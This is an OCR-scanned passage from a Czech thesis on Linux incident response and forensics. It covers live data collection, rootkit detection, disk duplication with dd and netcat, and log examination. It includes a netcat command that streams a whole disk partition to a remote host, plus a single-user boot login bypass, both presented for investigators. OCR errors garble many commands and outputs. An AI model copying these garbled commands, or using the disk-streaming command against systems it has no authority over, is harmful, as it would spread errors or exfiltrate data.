root 619 0.0 0.2 3288 1448 ? S 15:11  0:00 [sendmail]
smmsp 622 0.0 0.2 3284 1432 ? S 15:11 0:00 [sendmail]

root 626 0.0 0.1 1356 524 ? S 15:11 0:00 /usr/sbinfapmd
root 639 0.0 0.5 5804 2964 ? S 15:11  0:00 /usr/sbin/cupsd
root 652 0.0 0.0 0 0? SW 15:11  0:00 [ethO]

root 656 0.0 0.2 4692 1516 ttyl S 15:11  0:00 -bash

root 657 0.0 0.2 4700 1540 tty2 S 15:11  0:00 -bash

root 658 0.0 0.2 4704 1544 tty3 S 15:11  0:00 -bash

root 659 0.0 0.0 1356 488 tty4 S 15:11  0:00 /sbhin/agetty 38400
root 660 0.0 0.0 1356 488 tty5 S 15:11  0:00 /sbin/agetty 38400
root 661 0.0 0.0 1356 488 tty6 S 15:11  0:00 /shin/agetty 38400
root 741 0.0 0.0 0 02 SW 15:45  0:00 [usb-storage-0]
root 742 0.0 0.0 0 0? SW 15:45 0:00 [scsi_eh_ 1]
root 873 0.0 0.3 5896 1712 ? S 16:23  0:00 /usr/sbin/sshd
user 875 0.0 0.3 5652 1636 ? S 16:23  0:00 [sshd]

user 876 0.0 0.2 4640 1460 pts/2 S 16:23  0:00 -bash

root 890 0.0 0.3 5896 1712 ? S 16:24  0:00 /usr/sbin/sshd
user 892 0.0 0.3 5652 1636 ? S 16:24  0:00 [sshd]
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user 893 0.0 0.2 4640 1460 pts/3 S 16:24  0:00 -bash
root 957 0.0 0.1 2656 812 tty2 R 16:57 0:00 ps -aux

Pro mnohem detailngjsi vypis lze pouzit fps —auxew, coz by zobrazilo
i proménné prostredi jednotlivych procesu.

Nastroj ps 1ze vyuzit jesté k zobrazeni adres v paméti jednotlivych pro-
cesu: fps -ealf.

Zajimavé informace, které mohou vzbudit podezreni, 1ze vypsat prika-
zem:

root@victim:/mnt/usb# flsof -i
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

rpc.portm 552 rpc 3u IPv4 463 UDP *:sunrpc

rpc.portm 552  rpc 4u IPv4 464 TCP *:sunrpc (LISTEN)

inetd 599 root 4u IPv4 501 TCP *time (LISTEN)

inetd 599 root 5u IPv4 502 UDP *:itime

inetd 599 root 6u IPv4 503 TCP *ftp (LISTEN)

inetd 599 root 7u IPv4 504 UDP *:biff

inetd 599 root 8u IPv4 505 UDP *:ntalk

inetd 599 root 9u IPV4 506 TCP *finger (LISTEN)

inetd 599 root 10u IPv4 507 TCP *auth (LISTEN)

sshd 602 root 3u IPv4 513 TCP *:ssh (LISTEN)

Ipd 611 Ip 6u IPv4 526 TCP *:printer (LISTEN)

sendmail 619 root 4u IPv4 542 TCP *smtp (LISTEN)

sendmail 619 root 5u IPv4 543 TCP *:submission (LISTEN)

cupsd 639 root Ou IPv4 765 TCP *:631 (LISTEN)

cupsd 639 root 2u IPv4 766 UDP *:631

sshd 873 root 4u IPv4 2047 TCP 192.168.0.2:ssh->r6.nbox.cz:36144
(ESTABLISHED)

sshd 875 user 4u IPv4 2047 TCP 192.168.0.2:ssh->r6.nbox.cz:36144
(ESTABLISHED)

sshd 890 root 4u IPv4 2339 TCP 192.168.0.2:ssh->192.168.0.3:32910
sshd 892 user 4u IPv4 2339 TCP 192.168.0.2:ssh->192.168.0.3:32910

Timto byly vypsany procesy, které otevrely sitové sokety. Pokud v
téchto vypisech najdeme procesy, které napr. pouzivaji ICMP pakety a
neni to zrovna program ping nebo jiny legitimni proces uzivajici ICMP
protokol, méli by byt tento proces poznamenan jako podezrely.

root@victim:/mnt/usb# flsof -p 614

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

crond 614 root cwd DIR 3,7 4096 960967 /var/spool/cron/crontabs
crond 614 root rtd DIR 3,7 4096 2/

crond 614 root txt REG 3,7 14652 1089095 /usr/sbin/crond

“"Nezapomerite, Ze nase davéryhodné nastroje maji na rozdil od téch originalnich pred-
ponu "f".
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crond 614 root mem REG 3,7 672140 576615 /lib/ld-2.3.1.s0

crond 614 root mem REG 3,7 1435624 576618 /lib/libc-2.3.1.s0

crond 614 root mem REG 3,7 49939 576624 /lib/libnss\_compat-2.3.1.s0
crond 614 root mem REG 3,7 87653 576623 /lib/libnsl-2.3.1.s0

crond 614 root Ou CHR 1,3 320725 /dev/null
crond 614 root 1u CHR 1,3 320725 /dev/null
crond 614 root 2u CHR 1,3 320725 /dev/null

Tento prikaz vypsal vSechny soubory, které otevira urcity proces ur-
ceny svym PID. V tomto pripadé jsem vybral PID s hodnotou 614, coz
odpovida spusténému programu crond se superuzivatelskymi pravy.

Uzitecné informace mohou poskytnout téz nastroje pro sledovani za-
téze systému. Procesy nebo obecnéji uzivatel€, vytvarejici velkou zatéz
systému, mohou byt podezreli z konani patogenni cinnosti. Nékteré in-
formace o vyuziti procesoru a operac¢ni pameéti jiz ukazal vypis prikazu ps
a w. Pokud by vySetrovatel chtel vyuzit specializovanych nastroju pro sle-
dovani zatéze, pouzil by top, slabtop, vmstat, uptime nebo free. Prikaz top je
interaktivni program se samoaktualizujici se mi vypisy o zatézi systému:

root@victim:/mnt/usb# ftop

top - 03:55:19 up 30 min, 4 users, load average: 0.00, 0.06, 0.12

Tasks: 66 total, 2 running, 64 sleeping, 0 stopped, 0 zombie

Cpu(s): 1.0% us, 1.0% sy, 0.0% ni, 98.0% id, 0.0% wa, 0.0% hi, 0.0% si

Mem: 378668k total, 370060k used, 8608k free, 90280k buffers
Swap: 779112k total, 10088k used, 769024k free, 63056k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
6726 root 15 0 165m 33m 2524 S 1.7 9.1 0:35.02 Xorg
7672 jose 16 0 2128 1068 844 R 0.7 0.3 0:00.05 top
1 root 16 0 1560 532 460 S 0.0 0.1 0:01.21 init
2 root 34 19 0 0 0S 0.0 0.0 0:00.02 ksoftirgd/0
3 root 10 -5 0 0 0S 00 00 0:00.04 events/O
4 root 12 -5 0 0 0S 00 0.0 0:00.01 khelper
5 root 17 -5 0 0 0S 0.0 0.0 0:00.00 kthread
7 root 10 -5 0 0 0S 0.0 0.0 0:00.13 kacpid
92 root 10 -5 0 0 0S 00 00 0:00.14 kblockd/O
118 root 15 0 0 0 0S 0.0 0.0 0:00.00 pdflush
119 root 15 0 0 0 0S 0.0 0.0 0:00.09 pdflush
121 root 18 -5 0 0 0S 0.0 0.0 0:00.00 aio/0
120 root 15 0 0 0 0S 0.0 0.0 0:00.43 kswapdO
706 root 15 0 0 0 0S 00 0.0 0:00.02 kseriod
1883 root 15 0 0 0 0S 0.0 00 0:00.00 khubd
3142 root 15 -4 1660 568 484 S 00 0.1 0:00.15 udevd
4345 root 22 0 0 0 0S 00 0.0 0:00.00 khpsbpkt
5585 root 23 0 0 0 0S 0.0 0.0 0:00.00 pccardd
5641 root 15 0 0 0 0S 0.0 0.0 0:00.00 knodemgrd\_0
6565 root 16 0 1824 1024 556 S 0.0 0.3 0:00.00 acpid

6597 messageb 16 0 1564 400 328S 0.0 0.1 0:00.01 dbus-daemon
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Dalsi uziteéné informace mtize nabidnout obsah adresare /proc. Tento
adresar (resp. systém soubortl), slouzi jako rozhrani pro datové struktury
jadra. Kazdy proces ma v adresari /proc podadresar, ktery odpovida jeho
ID. V kazdém z téchto podadresaru lze zjistit, které popisovace soubort
proces otevrel. Toto demonstruje nasledujici vypis:

root@workstation:/mnt/usb# ps -aux | grep vim
jose 7319 0.1 2.1 16376 8092 pts/1 S+ 03:36 0:15 vim diplomka-utf8.tex

root@workstation:/mnt/usb# Is -la /proc/7319/

total O

dr-xr-xr-x 5 jose jose 0 2006-03-07 03:36 .

dr-xr-xr-x 99 root root 0 2006-03-06 21:25 ..

dr-xr-xr-x 2 jose jose 0 2006-03-07 07:25 attr

Femmmen 1 jose jose 0 2006-03-07 07:25 auxv

-r--r--r-- 1 jose jose 0 2006-03-07 07:23 cmdline

IrwXrwxrwx 1 jose jose 0 2006-03-07 07:25 cwd -> /data/diplomka_UHK_ 2006

Femmmen 1 jose jose 0 2006-03-07 07:25 environ

[rwWXrwxrwx 1 jose jose 0 2006-03-07 07:25 exe -> [usr/bin/vim
dr-x------ 2 jose jose 0 2006-03-07 07:23 fd

-r--r--r-- 1 jose jose 0 2006-03-07 07:25 maps

-PW------- 1 jose jose 0 2006-03-07 07:25 mem

-r--r--r-- 1 jose jose 0 2006-03-07 07:25 mounts
-rW-r--r-- 1 jose jose 0 2006-03-07 07:25 oom_adj
-r--r--r-- 1 jose jose 0 2006-03-07 07:25 oom_score
IrwXrwxrwx 1 jose jose 0 2006-03-07 07:25 root -> /
-FW------- 1 jose jose 0 2006-03-07 07:25 seccomp
-r--r--r-- 1 jose jose 0 2006-03-07 03:55 stat

-r--r--r-- 1 jose jose 0 2006-03-07 03:55 statm
-r--r--r-- 1 jose jose 0 2006-03-07 07:23 status
dr-xr-xr-x 3 jose jose 0 2006-03-07 07:25 task
-r--r--r-- 1 jose jose 0 2006-03-07 07:25 wchan

Z vystupu je vidét spustény program vim, ktery ma otevreny soubor
diplomka-utf8.tex. Vidime, Ze vypis podadresare reprezentujici dany pro-
ces, obsahuje odkaz exe na spustény program. Pokud by byl originalni
spustény program smazan, v tomto adresari bychom ho opét nasli.

V adresari fd 1ze nalézt vSechny soubory, které proces spustil:

root@workstation:/mnt/usb# Is -la /proc/7319/fd/

total 5

dr-x------ 2 jose jose 0 2006-03-07 07:23 .

dr-xr-xr-x 5 jose jose 0 2006-03-07 03:36 ..

Irwx------ 1 jose jose 64 2006-03-07 07:39 0 -> /dev/pts/1

Irwx------ 1 jose jose 64 2006-03-07 07:39 1 -> /dev/pts/1

Irwx------ 1 jose jose 64 2006-03-07 07:23 2 -> /dev/pts/1

Irwx------ 1 jose jose 64 2006-03-07 07:39 4 -> socket:[9997]

Irwx------ 1 jose jose 64 2006-03-07 07:39 6 -> /data/diplomka_UHK_2006/

.diplomka-utf8.tex.swp
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Zde lze najit diikazy o ¢innosti zaskodnika, zvlasté pokud se snazi v
systému schovat upravenim originalnich nastroji a jejich vypisu. Jako
vySetrovatelé musime zkouSet vice cest, jak se dopatrat skutecnostem,
které se v systému déji.

Ze souborového systému /dev/proc 1ze jeSté sesbirat informace z téchto
soubort: /proc/version (verze operacniho systému), /proc/sys/kernel/name
(host name), /proc/sys/kernel/domainame (doménové jmeéno), /proc/cpuinfo
(hardwarové informace), /proc/swaps (swapové oblasti), /proc/partitions
(lokalni souborové systémy), /proc/self/mounts (pripojené souborové sys-
témy), /proc/uptime (doba od znovu zavedeni systému).

Stale se tu bavime o skryvani se v systému. K tomu vetrelec veétsi-
nou vyuziva specializovanych nastroju - tzv. rootkitti. Téch je v dnesni
dobé velké mnozstvi. Ty nejtrivialn€jsi, které pouze meéni binarni aplikace
v "userspace" - coz lze lehce odhalit pouhou kontrolou integrity soubort
nebo analyzovanim dané aplikace pomoci zakladnich systémovych utilit
strace a ltrace.

Rootkity zalozené na LKM (Loadable Kernel Module). Rootkit je zaveden
jako modul jadra systému, vétsSinou skryty, ktery upravuje primo systé-
mova volani (tzv. sys-calls). Vyhoda pro utocnika je, ze zmény, které chce
v systému provést (napr. skryti procesu ¢i souboru) se projevi shodné
pro vSechny programy na uzivatelské urovni, které pouzivaji dana sys-
témova volani. Vyznamnymi zastupci této skupiny jsou napr. Adore a
Knark. Ovsem i tyto rootkity jiz nejsou prilis v modeé. Lze je jiz také lehce
odhalit - napf. pomoci nastroju chrootkiff], kstat’] ¢i rdetect'®]

Vyvojari kernelu Linuxu zamezili ve verzi 2.6 exportovani sys_call_table,
takze tim jsou tyto rootkity na jadrech rady 2.6 mimo hru. OvSem tuto
tabulku Ize zjistit z vypisu systémové pameti RAM, ktera je ulozena v sou-
boru /dev/kmem. Tohoto vyuziva napr. cesky rootkit SucKIT.

Mezi ty nejpokrocilejsi rootkity patri ty, pusobici na vrstvé VFS (Virtual
File System). Je to jakasi abstraktni vrstva, ktera ptsobi jako jednotna
vrstva pro rizné souborové systémy. Tyto rootkity uz se detekuji obtiznéji.

8http://www.chkrootkit.org/
Shttp://www.sOftpj.org/tools/kstat24_v1.1-2.tgz
1Ohttp:/ /hysteria.sk/ trace/detekce/rdetect.tar.bz2
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Problematika skryvani se v unixovych systémech je velmi rozsahla a
neni ani cilem této prace ji detailné popisovat. Odkazal bych napr. na do-
kumenty [15], [16], [42], [28], [41].

Zminili jsme, Ze mezi nestala data patri také pamet RAM. OvSsem na
Unixu neexistuje zadny zptisob, jak takovou pamét rozumneé vypsat. Vet-
Sinou se kopiruji soubory /dev/kmem a /dev/kcore, které obsahuji nesouvisle
usporadany obsah systémové paméti RAM. Vétsinou v nich vySetrovatelé
vyhledavaji na zakladé retézcu.

Nyni pokrocim blize k tématice sité. Zacnu zakladnim piikazem netstat:

root@victim:/mnt/usb# fnetstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:515 0.0.0.0:* LISTEN 611/

tcp 0 0 0.0.0.0:37 0.0.0.0:* LISTEN 599/inetd
tcp 0 0 0.0.0.0:587 0.0.0.0:* LISTEN 619/

tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN 599/inetd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 552/

tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN 599/inetd
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 599/inetd
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 602/sshd
tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN 639/cupsd
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 619/

tcp 0 0 192.168.0.2:22  83.240.9.43:36144 ESTABLISHED 873/sshd
tcp 0 0 192.168.0.2:22  192.168.0.3:32910 ESTABLISHED 892/

udp 0 0 0.0.0.0:512 0.0.0.0:* 599/inetd
udp 0 0 0.0.0.0:518 0.0.0.0:* 599/inetd
udp 0 0 0.0.0.0:37 0.0.0.0:* 599/inetd
udp 0 0 0.0.0.0:111 0.0.0.0:* 552/

udp 0 0 0.0.0.0:631 0.0.0.0:* 639/cupsd
Active UNIX domain sockets (servers and established)

Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 6 [1 DGRAM 468 558/syslogd /dev/log
unix 2 [ ACC ] STREAM LISTENING 527 611/ Ivar/run/lprng
unix 3 [1] STREAM CONNECTED 2349  890/sshd

unix 3 [1] STREAM CONNECTED 2348 892/

unix 3 [1] STREAM CONNECTED 2057  873/sshd

unix 3 [1] STREAM CONNECTED 2056 875/

unix 2 [1] DGRAM 547 626/apmd

unix 2 [1] DGRAM 545 622/

unix 2 [1] DGRAM 541 619/

unix 2 [1] DGRAM 499 597/klogd

Je patrné, Ze je otevieno dvanact TCP spojeni a pét UDP spojeni. Vi-
dime také dvé SSH relace realizované z adres 83.240.9.43 a 192.168.0.3.
Jasné jsou i pouzité porty, takze nyni vime, jaké porty jednotlivé pro-
cesy pouzivaji. Druha cast vypisu ukazuje soketova spojeni a jejich typy
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a stavy. Systém lze oskenovat z jiného stroje napr. utilitou nmap a vysledky
pak porovnat.

Pozn.: Do analyzy jiz nezahrnuji tu cast, kdy by bylo potreba zkoumat
data jinde, nez na zkoumaném pocitaci. Je tim mySleno napr. trasovani
potencialni adresy utocnika.

Dalsi sitové informace lze ziskat z vypisu tabulky MAC adres prika-
zem:

farp -an
A také z routovaci tabulky:

froute -Cn

Nyni je potreba zkontrolovat, zdali sitova karta postizeného systému
nebézi v promiskuitnim rezimu. To by totiz indikovalo, Ze na daném sys-
tému muiZe byt nainstalovan sniffer. Spustime tedy prikaz ifconfig, pres-
néji duveryhodny fifconfig a zjistime, jestli obsahuje retézec PROMISC.
Pokud ano, staci pak jiz popsanym prikazem lsof vyhledat podezrelé pro-
cesy, které otevrely néjaky relativné velky soubor. Protoze 1ze predpokla-
dat, ze takovy soubor by mohl byt uloziStém pro vysledky sniffingu.

Je zfejmé, ze zatim se celé vySetrovani toci spisSe kolem administrator-
ské prace. Nicméne tato ¢innost je pro uspésné pokracovani vySetrovani
nezbytna.

Po tom, co jsou sesbirana docasna data, lze pocita¢c vypnout. Neu-
deélame to vSak standardné prikazem shutdown, ale "natvrdo" pocitac vy-
pneme. Duvodem je zabranéni prepsani néjakych dat napr. kvili nebez-

obraz disku pred jeho vypnutim. Obecné se doporucuje ho udélat az po
vypnuti.

4.3 Forenzni duplikace média

Kazdy pripad je jiny. Proto se ruzni i reakce vySetrovatelti na kazdy jed-
notlivy incident. Nejidealnéjsi pripad je, kdyz lze vytvorit obraz disku po-

skozeného systému. Originalni disk je zabezpecen a cela analyza je pro-
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vedena na vytvorené kopii. Jenze v pripadé systému, kde jsme nuceni
zachovat urcitou miru dostupnosti, nebudeme moci takovou kopii pro-
veést.

A organizace se samozrejme casto ptaji, jestli je nezbytné systém du-
plikovat. Pri odpovédi na nasledujici otazky je nutné brat v uvahu:

® Zdali se jedna o kriticky incident s rozsahlymi nasledky.

* Zdali 1ze predpokladat v zavislosti na incidentu vyznamné financni
ztraty.

* Zdali je mozné, ze cely incident skonci pred soudem.

* Zdali je pravdépodobné, Ze se dikazy budou nachazet na disku.

Pokud by byla odpovéd na nékterou z téchto tivah kladna, s nejvétsi
pravdépodobnosti forenzni duplikaci bude potreba provést. V. dnesni dobé
se diskové kapacity stale zvétsuji a je potreba si dobre rozmyslet, zdali
provést duplikaci napr. nékolika terabajtového disku (diskového pole), ¢i
nikoli.

Samotnou duplikaci 1ze provést tremi zakladnimi postupy:

* Vyjmout pevny disk z napadeného systému a pripojit ho do forenzni
stanice, kde dojde k duplikaci.

* Duplikaci provést na napadeném systému, kam je pripojen vysSetro-
vatelav disk.

* Duplikaci provést pres bezpecné sitové spojeni na forenzni stanici.

Prvni metoda vyjmuti zkoumaného disku je nejbéznéjsi. Vysetrovatel
vybaven pocitacem s volnymi rozhranimi a dostatecnou diskovou kapaci-
tou muize pohodlné v misté vyskytu incidentu provést duplikaci.

Druhy zptisob pripojeni disku vysetrovatele do vySetrovaného systému
a nabootovani vlastniho operacniho systému (napf. specialni pro forenzni
analyzu urcené Live CD distribuce jako FIRE, SMART, Plan-B) je velmi
podobny tomu prvnimu. Je ovSem potreba si davat zvlastni pozor na to,
aby vse probéhlo, jak ma. V tomto pripadé se vysSetrovatel pohybujete
na neznamé pudé a pocita¢ nemusi vZdy reagovat tak, jak by ocekaval.
Pri pouziti této metody nesmi zapomenout zkontrolovat v Biosu bootovaci
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sekvenci na vySetrovaném systému a to jesté predtim, nez nabootuje svij
operacni systém. A to z toho diivodu, aby se zabranilo nabootovani origi-
nalniho operac¢niho systému.

Duplikace pomoci sité funguje tak, Ze se propoji kabelem (nejlépe
ethernetovym) vySetrovany pocitac a forenzni stanice. Na forenzni sta-
nici se nastavi prijimani dat napr. pomoci programu netcat a zapisovani
téchto dat do souboru takto:

nc -1 -p 3333 | dd of=forenzni_duplikat
Na inkriminovaném systému se zahaji odesilani prikazem:
dd if=/dev/hdal | nc -w 3 192.168.0.1 3333

Prikaz vytvori kopii prvniho oddilu disku /dev/hda na forenzni stanici s
[P adresou 192.168.0.1 realizovano pres port 3333.

Pokud by bylo nékdy potreba z dikazni kopie nabootovat, je nutné
si zjistit geometrii vySetrovaného disku a kopii udélat na disk se stejnou
diskovou geometrii. Nevyrovnana data na hranici cylindru mohou zptiso-
bit, Zze systém uz nebudeme schopni nabootovat. Na samotnou analyzu
to vSak vliv nema. Pokud by nebyl k dispozici disk stejné geometrie, 1ze
data vyrovnat programem Safeback.

Forenzni duplikaci 1ze provadét i na jiné médium nez je pevny disk -
naprt. ZIP pasky jsou vhodnou volbou. Podstatné je to, aby byla provadéna
bitova kopie. Tzn. aby byl zkopirovan kazdy bit kazdého bajtu na vyset-
rovaném disku od zacatku az po sluzebni stopu. Kopirovaci program se
také musi vyrovnat s chybami ¢teni - tzn. pokud se ji na nékolikaty pokus
nepodari soubor nacist, musi byt vynechan a doplnén vyplni stejné délky.
Unixové zalohovaci utility jako tar, cpio nebo dump jsou velmi Sikovné pro
presun velkého mnozstvi dat. OvSem uZ méné vhodné pro forenzni ana-
lyzu, protoze nedokazi vyextrahovat data z volnych blokt a slack space.
Pro toto je naopak vhodna utilita dd (Data Dumper). Kdybychom nevyuzivali
k analyze OS GNU/Linux, mohli bychom vyuzit popularni program Safe-
back.

Situace je tedy takova, Ze je pripojen vySetrovany disk k forenzni sta-
nici. Nyni je potreba zjistit rozlozeni vySetrovaného disku prikazem fdisk.

Nemel by byt vSak pouzivan interaktivni rezim. Prikaz a nasledny vypis
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by mohl vypadat napr. takto:

root@investigator:/mnt/usb# fdisk -lu /dev/hdb

Disk /dev/hdb: 40.0 GB, 40020664320 bytes
255 heads, 63 sectors/track, 4865 cylinders, total 78165360 sectors
Units = sektory of 1 * 512 = 512 bytes

Zafizeni Boot Za Ctatek Konec Bloky Id Systém

/dev/ihdbl  * 63 53255474 26627706 c Win95 FAT32 (LBA)
/dev/hdb2 53255475 78156224 12450375 f Win95 Ext'd (LBA)
/dev/hdb5 53255538 59408369 3076416 b Win95 FAT32
/dev/hdb6 59408433 61464689 1028128+ 82 Linux swap
/dev/hdb7 61464753 71714159 5124703+ 83 Linux

/dev/hdb8 71714223 78156224 3221001 83 Linux

Duplikace napr. oddilu /dev/hdb7 na vySetrovateltiv disk do souboru
/evidence/forenzni_duplikat by byla provedena prikazem:

dd if=/dev/hdb7 of=/evidence/forenzni_duplikat

Nasledné je nutné vytvorit a kontrolovat hashe obrazu a originalniho
souboru programem md5sum.

Kdyz zobrazime napoveédu prikazu dd zjistime, Ze je to pro forenzni
analyzu velmi mocny nastroj:

root@investigator:/mnt/usb# dd --help
Pouziti: dd [P REPINAC]...
Copy a file, converting and formatting according to the options.

bs=BYTES force ibs=BYTES and obs=BYTES

cbs=BYTES convert BYTES bytes at a time

conv=KEYWORDS convert the file as per the comma separated keyword list
count=BLOCKS copy only BLOCKS input blocks

ibs=BYTES read BYTES bytes at a time

if=FILE read from FILE instead of stdin

obs=BYTES write BYTES bytes at a time

of=FILE write to FILE instead of stdout

seek=BLOCKS skip BLOCKS obs-sized blocks at start of output

skip=BLOCKS skip BLOCKS ibs-sized blocks at start of input
--help display this help and exit

--version output version information and exit
BLOCKS and BYTES may be followed by the following multiplicative suffixes:
xM M, ¢ 1, w 2, b 512, kD 1000, k 1024, MD 1,000,000, M 1,048,576,
GD 1,000,000,000, G 1,073,741,824, and so on for T, P, E, Z, Y.
Each KEYWORD may be:

ascii from EBCDIC to ASCII
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ebcdic from ASCII to EBCDIC

ibm from ASCIl to alternated EBCDIC

block pad newline-terminated records with spaces to cbs-size
unblock  replace trailing spaces in chs-size records with newline
Icase change upper case to lower case

notrunc  do not truncate the output file

ucase change lower case to upper case

swab swap every pair of input bytes

noerror  continue after read errors

sync pad every input block with NULs to ibs-size; when used

with block or unblock, pad with spaces rather than NULs

Volby if= a of= mohou byt reprezentovany fyzickymi zarizenimi nebo
logickymi soubory. Pokud by bylo nutné napf. ulozit obraz na CD meédia,
pouzila by se pro rozdeleni obrazu nasledujici sekvence prikazu:

dd if=/dev/hdbl of=/evidence/diskl bs=1M count=620

dd if=/dev/hdbl of=/evidence/disk2 bs=1M count=620 skip=621
dd if=/dev/hdbl of=/evidence/disk3 bs=1M count=620 skip=1241
dd if=/dev/hdbl of=/evidence/disk4 bs=1M count=620 skip=1861

Pokud se na disku nachazeji data i mimo oddily, je nutné provést
duplikaci celého disku /dev/hdb a rozdéleni do oblasti provést az pozdéji.
K tomu opét vyuzijeme robustnich dovednosti programu dd. Dejme tomu,
Ze tabulka rozdéleni disku vypada néjak takto:

root@investigator:/mnt/usb# fdisk -lu /evidence/forenzni_duplikat
Disk /dev/hdb: 40.0 GB, 40020664320 bytes

0 heads, O sectors/track, 0 cylinders

Units = sektory of 1 * 512 = 512 bytes

Zafizeni Boot Za  téatek Konec Bloky Id Systém
/dev/hdbl  * 100 100099 50000 83 Linux

Pozn.: Vypis je zkracen.
Celkovy rozmeér oddilu /dev/hdbl je 100000 (100099-100+1) a zacina
na offsetu 100 pri velikosti bloku 512 bajta. Pro "vyriznuti" tohoto oddilu

pouzijeme opét prikaz dd:

dd if=/evidence/forenzni_duplikat of=forenzni_duplikat_hdal bs=512 skip=100
count=100000
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Volbu conv= Ize také pouzit pri kopirovani posSkozenych diskt. Pokud
je kopirovan disk, ktery ma poskozeny sektor, program dd se ho pokusi
precist nékolikrat za sebou. Pokud se mu dany sektor nepodari nacist,
implicitné se zachova tak, Ze kopirovani ukonci. Pokud je ovSem pouzita
volba conv=noerror, tak program dd prerusi kopirovani a zapiSe sektor se
samymi nulami. Volba conv=notrunc pak umoznuje kontinualni update vy-
stupniho toku, aniz by dochazelo k prepsani starého vystupniho souboru.

4.4 Pruzkum restaurovaného obrazu

Jakozto vySetrovatelé mame pevny disk zkoumaného pocitace, mame jeho
obraz a potrebujeme provést offline analyzu. VySetrovani je implicitné ru-
Sivé, takze vytvoreni duplikatu originalniho média je vysoce nutné. Zde si
lze vybrat, zdali prizkum bude proveden na originale nebo na vytvorené
kopii. Principialné nejlepsi varianta je originalni disk uschovat a Setreni
provést na forenznim duplikatu.

Pripojime tedy vytvoreny obraz k nasemu systému. Lze to provést vice
zpusoby. Vyuzijeme moznosti, kterou nam Unix nabizi a tou je mozZnost
pripojit obraz jako loopback zafizeni. Timto zptisobem lze pripojit obraz
jako blokové zarizeni:

mount -o ro,loop,noexec forenzni_duplikat_hdal /mnt/hdal
Prepinac ro znamena, ze obraz bude pripojen pouze pro cteni. Prepinac
noexec pak zabranuje primému spousténi binarnich soubort na pripoje-

ném souborovém systému.

Pozn.: Nékteré Zzurnalové souborové systémy jako Ext3 ¢i ReiserFS ak-
tualizuji zurnal, i kdyz jsou pripojeny v rezimu jen pro cteni.

Odpojeni provedeme prikazem:
umount /mnt/hdal

V Unixu na rozdil od MS Windows je vétSina informaci uloZena v sou-
borech. Malo kdy bude potreba zavadét obraz do nativniho operac¢niho
systému, abychom si mohli prohlédnout informace, které jsou jinak ne-

dostupné. Pokud do systému nebude moznost se prihlasit pod béznym
uzivatelem nebo superuzivatelem, bude nutné tento autentizacni mecha-
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nismus néjak obejit. To umoznuje standardni linuxova vlastnost, naboo-
tovani v jednouzivatelském rezimu. Lze ho spustit prikazem linux 1 nebo
linux s pfi zavadéni operacniho systému.

Po kontrole integrity, lze prejit k samotnému vySetrovani. Samotny
pruzkum lze realizovat bud pomoci standardnich linuxovych utilit nebo
pomoci specializovanych nastrojii. Zminim zde obé varianty.

Tato kapitola vSak nemuiZze probrat vSechny mozné incidenty v sys-
tému Unix - resp. GNU/Linux. Aby mohl vySetrovatel efektivné reagovat,
je nezbytné nutné umet samostatné uvazovat.

4.4.1 Priuzkum logu

Logy umoznuji sledovat cinnosti uzivatelt, programu a jinych udalosti,
které se v systému déji. Systém GNU/Linux ma vétSinu soubortt logta
ulozené v adresari /var/log, jehoz vypis muze vypadat nasledovneé:

root@investigator:/mnt/hdal/# Is -l var/log

celkem 1800

drwxr-xr-x 2 root root 4096 led 4 2000 apache/

-rW-r--r-- 1 root root 0 lis 27 04:40 cron

-rW-r--r-- 1 root root 0 lis 26 04:40 cron.1

drwxr-xr-x 2 root root 4096 srp 20 2003 cups/

-rW-r--r-- 1 root root 8042 b fe 12 13:21 debug
-rW-r--r-- 1 root root 0 lis 26 04:40 debug.1

-PW-r----- 1 root root 24048 b fe 12 13:22 faillog
drwxr-xr-x 2 root root 4096 b fe 15 2003 iptraf/
-rW-r--r-- 1 root root 292584 b fe 12 13:22 lastlog
-PW-r--r-- 1 root root 4025 b fe 12 13:21 maillog
-rW-r--r-- 1 root root 0 lis 26 04:40 maillog.1

-rW-r--r-- 1 root root 202668 b fe 12 13:41 messages
-rW-r--r-- 1 root root 3023 lis 27 04:40 messages.1
drwxr-xr-x 3 news news 4096 Gno 1 2003 news/
drwxr-xr-x 2 root root 4096 kvi 16 2001 nfsd/

-rW-r--r-- 1 root root 2040 srp 14 2003 nvidia-installer.log
drwxr-xr-x 2 root root 20480 za f 14 2003 packages/
-rW-r----- 1 root root 475 lis 14 2003 proftpd.log

drwxr-xr-x 2 root root 4096 srp 14 2003 removed_packages/
drwxr-xr-x 2 root root 4096 srp 14 2003 removed_scripts/
drwxr-xr-x 2 root root 4096 za F 11 2003 samba/
-TW-r--r-- 1 root root 0 za f 11 2003 samba.l-qx4bhu60krz7e
-rwW-r--r-- 1 root root 1310 z& F 11 2003 samba.smbd
drwxr-xr-x 2 root root 16384 za F 14 2003 scripts/
-rW-r--r-- 1 root root 11348 srp 11 2003 scrollkeeper.log
-rw-r--r-- 1 root root 2136 b fe 12 13:22 secure
-PW-r--r-- 1 root root 0 lis 26 04:40 secure.l

drwxr-xr-x 4 root root 4096 b fe 2 2003 setup/
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-rW-r--r-- 1 root root 0 lis 27 04:40 spooler

-PW-r--r-- 1 root root 0 lis 26 04:40 spooler.1

-rW-r--r-- 1 root root 120457 b fe 12 13:21 syslog

-rW-r--r-- 1 root root 0 lis 26 04:40 syslog.1

-rW-rW-r-- 1 root root 306816 b fe 12 13:22 wtmp

-rW-r--r-- 1 root root 51050 b fe 7 14:18 XFree86.0.log
-rW-r--r-- 1 root root 51064 b fe 4 16:32 XFree86.0.log.old

Nachazeji se zde jak standardni textové systémoveé logy syslog, messages
a secure, tak binarni logy wtmp (tento soubor lze cist prikazem last) a
lastlog (tento soubor lze cist prikazem lastlog). Jsou zde logy dalsich
aplikaci a démont - napr. Samba, XFree, Apache, atd.

Umisténi téchto soubort je bézné specifikovano v konfiguracnim sou-
boru démonu syslogd /etc/syslog.conf, ktery muze vypadat nasledovne:

root@investigator:/mnt/hdal/# cat etc/syslog.conf

